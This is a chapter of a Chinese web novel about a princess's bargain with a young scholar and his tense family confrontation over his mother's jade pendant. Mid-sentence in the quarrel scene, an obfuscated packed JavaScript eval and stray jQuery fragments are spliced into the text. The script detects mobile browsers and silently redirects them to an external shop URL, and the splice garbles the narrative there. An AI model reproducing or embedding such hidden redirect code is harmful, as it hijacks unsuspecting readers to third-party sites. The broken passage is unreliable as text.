文趣网 > 其他小说 > 安宁修养指南 > 8. 交易
    面对她的责问,温凛沉默了,庭中安静了下来,头顶的大树被吹得沙沙作响,有落叶飘落到两人中间的石桌上。

    就在楚宁要再度开口时,温凛突然站了起来,楚宁的目光跟随着他,只见温凛一撩衣摆,单膝下跪。

    “草民温凛,拜见长公主殿下。”

    ……

    ……

    庭中原本对坐的两人,突然变成了一跪一坐,远处春雪秋荷二人惊呼出声,但庭中的气氛却极为凝重。

    温凛此举权衡了良久,便是不用想也知道,长公主突然出现在衢州,定是有极要紧的事,她一直未曾言明自己的身份,想来自有其意,若他此时贸然揭露,便是让长公主疑心于他,可不揭露,又该如何解释他的蓄意接近。

    既然如此,那他就赌一把。

    就赌真诚在她心里的分量,够不够重。

    ……

    ……

    楚宁久久未言,温凛也不急切,便这么一直跪着,身子连一晃都未曾有过,他虽低着头,但却跪得笔直。

    良久后,温凛终于听见上方女子的声音传来。

    “温凛……”楚宁的声音难得有些发冷,“很好,你很令本宫意外,若本宫身处常山温家之事传了出去……便唯你是问。”

    温凛再次恭敬行礼,“请殿下放心。”

    楚宁在心中暂时放下了对他的戒备,冷哼一声道:“免礼了,坐回去吧。”

    于是一跪一坐又变回了对坐。

    重新坐下的这一刻,温凛知道自己赌赢了,他不禁有些失笑,还真是难得,在这种赌局里,他一向是输的那个。

    他似乎以为自己的所求十拿九稳了,楚宁却微微一笑道:“救命之恩自当涌泉相报,我亦不敢忘……所以,那枚白玉镯不够抵了这救命之恩吗?”

    银钱这等俗物自是不能相抵,但镯子背后是赠棺之恩,同样恩重如山,换句话说,楚宁已经把恩情还了,根本不需要再帮他。

    自打温凛决定过来,他就一直是一副淡然的表情,然楚宁此言一出,他的脸色终于是难看了些。

    “我可以帮你,但……”楚宁像第一次见面那样凑近他,温凛下意识朝她耳后扫了一眼,但没有那日的白纱了。

    楚宁道:“我有些条件,其实我更愿意称之为交易……你可愿和我做这笔交易?”

    “不知殿下口中的交易是什么?”温凛谨慎问道。

    楚宁吃惊道:“难道你还有拒绝的余地?”

    温凛一怔,随即苦笑。

    何止没有余地,他更是没有资格拒绝,乡试他非去不可。

    ……

    ……

    这场交易一直谈到了日暮时分,待温凛离开后,春雪与秋荷才回到庭中,两人不敢出声,因为楚宁靠着石桌,又在兀自出神,她常常如此,一个人独坐良久。

    夕阳沉落下去,霞光漫染长天,金色的余晖照在楚宁身上,将她的肌肤映得金黄,就在天色彻底黯淡的一刻,她突然开口道:“拿纸笔来。”

    两人不敢多言,进屋端来了笔墨纸砚,置于桌上。

    楚宁执笔蘸墨,在纸上洋洋洒洒,写了两封信,她将其中一封递给秋荷,道:“让彩儿立刻送往司天监,此事紧急,敲打着些,别让它四处玩儿去了。”

    “是。”秋荷见她神情严肃,连忙领命去了,准备好生与彩儿说道说道。

    只剩春雪留在原地,楚宁轻声问她:“若要你孤身离开衢州,你可害怕?”

    “奴婢不怕。”春雪坚定道。

    “好,你带着这封信,立刻前往杭州,我要你亲手交到两浙路总督——林蔚的手上。”楚宁将信递给她。

    春雪有些忐忑地问:“殿下,立刻的意思是……”

    “现在就走,你必须把人拦在总督府。”紧接着,楚宁三言两语将陛下命令林蔚护送她归京一事说了,“等你到了总督府,便说有宫中急报,门房定会为你通传。”

    听了前因后果,这位和楚宁同岁、年方十六的小姑娘,眼中露出坚毅之色,当即下了决心,“奴婢明白了,奴婢现在就去收拾行李!”

    春雪自认身担重责,不敢有一丝懈怠,未等与秋荷告别,背着行囊便离开了。

    秋荷出来后,知晓了她走的坚决,不由得心生感慨。她比春雪大了四岁,这个从前总爱跟在她后面的小姑娘,如今倒也有几分大人的模样了。

    ……

    ……

    庄园里陆陆续续点起了灯,温府三房所在的缭竹院,正是温凛此行的目标。

    与长公主的交易有些意外,却又在情理之中,他早有猜测她来衢州的目的,应是与水患一事有关。温家与魏慎的暗中动作并未刻意遮掩,衢州有些权势的人家或多或少都知道些,既如此,她迟早是要查到温家头上的。

    楚宁让他查温家的账,找到赃款所在,他毕竟名义上还是温家人,让他查自是便利许多,但另一件却有些玄妙了……温凛不禁回想起她的话来。

    “除了调查温家以外,若你八月的乡试中了,将来春闱我还要你配合我做一件事,放心,绝不会断你仕途,两个条件,接受吗?”

    他还能不接受吗?只能笑着答应了。

    其实他明白,他答应查温家已是落了把柄在她手上。南楚重孝道,他将来必定要入朝为官,只要她将此事传讲出去,让有心之人有了由头,借此大做文章,可足够让他喝一壶的了,哪怕此举是大义灭亲,也逃不了朝臣的议论。

    好在春闱距离现在还太远,倒不必过于忧心。温凛收回繁杂的思绪,抬脚跨入了缭竹院。

    ……

    ……

    缭竹院恰如其名,廊道在竹林穿行,恬静清幽,原先在主屋伺候的丫鬟小厮们,今晚却离得主屋远远的。

    屋里,温穆远与胡芸在争吵,这可少见,温穆远这个温家三房平日里像锯了嘴儿的葫芦,半天憋不出一句话来。

    倒有传言说,十几年前温三老爷还是个正常会说话的,只是后来性子愈发沉闷了。不过此等言论很快便平息了,大抵是传谣的下人都被胡芸发卖了吧。

    “温穆远!”屋内胡芸大声喝问,她眼中含泪,咬着牙道,“不过是一口棺材,你还要和我计较?你就说你是不是还念着那小贱人!”

    “咳咳咳……”温穆远急火攻心,待胸口痛意缓和后才道,“我只是觉着何至于此,一副薄棺罢了,何至于此

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769553|209859||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    啊……”

    “何至于此?”胡芸冷笑,“温穆远啊温穆远,我有时候真看不懂你,你说你还爱她吗?可十几年了,你对他们母子始终不闻不问,你说你不在意了吗……可当年我让她滚出府去,你拼了命也要留下她,哪怕让她当一个外室,今日又因一口棺材与我争执……我恨她,全因为你!是你始终摇摆不定,我早和你说过了,我胡芸善妒,是你让我恨她!”

    胡芸冷冷看着温穆远铁青的脸,稍稍和缓了语气道:“好在都结束了,对她、对你我,都算解脱了,不是吗?”

    温穆远心中唯余一声长叹,如今温家最大的话事人不是家主,不是老太太,而是他身边的这位妇人。

    或许打从一开始温家决定和官府纠缠就错了,可如今,双方的根系枝桠紧紧缠绕在一处,早已分不清你我,不论对错与否,这条路温家只能一直走下去。

    屋内气氛凝重,这时,有丫鬟前来通传。

    “老爷,三少爷过来了,就在前厅。”

    闻言,胡芸眉头一皱,而温穆远则是愣住了,三少爷啊,他的……儿子,倒有些想不起他的样子了。

    等温穆远到了前厅时,就见一位清隽的少年人站在厅中,背挺得笔直,看到少年那张脸,他有些晃神了……和予溪长得真像,真像啊,极清、极韧、有如她最爱的翠竹,自有一番傲骨。

    温凛见他来了,便拱手行礼道:“深夜叨扰,我也实在不愿,但这件要紧事始终萦绕心头,挥之不去,望三老爷见谅。”

    温穆远坐下来,有丫鬟上前看茶,他朝温凛摆手,“坐吧,什么事儿?”

    温凛依言坐下,却朝他身边的下人们扫了一眼,温穆远了然,屏退左右后道:“说吧,到底是什么大事儿?”

    “当年,母亲以外室身份被安置在那个偏僻小院时,有一个物件被胡夫人要了去,如今母亲离去,我……想去库房将它寻回来。”

    温穆远身子一顿,经其讲述,回想起了这桩陈年旧事。

    那物件只是一枚玉佩,料子不错,但做工简单,当年胡芸将徐予溪所有值钱的物件包括这玉佩全搜刮了去,挑挑拣拣着拿,无人敢拦。徐予溪极力反抗,但唯独对这枚玉佩不甚在意,胡芸将玉佩拿到手了却又瞧不上,转手便丢进了库房中。

    温穆远一向不愿思及往事,这会儿被他的话勾起了思绪,一时竟怔住了,良久才回过神来,“库房重地,你是不能去的,我会差人帮你找回来。”

    温凛早料到没这么容易得手,他垂下眼,面露悲戚之色。

    “母亲留下的遗物不多,孩儿无用,连一副棺木都未能替她寻得,本想着找回玉佩,也算是为母亲尽孝……可难道连这份孝道我也要假手于人吗……父亲?”

    温凛的一番话,彻底令温穆远陷入沉默,他似是又回忆起了什么,手指不自主地摩挲茶杯,叹道:“罢了,罢了。”

    温凛勾唇一笑,和来时一样,他起身、行礼、告退,走的极为干脆。

    目送他的身影离去,温穆远的目光遥遥定在空中,喃喃道:“予溪啊,我说过会对你好的,会把他当亲生子对待,可如今……”

    温穆远独坐长叹,直至天边泛起了鱼肚白。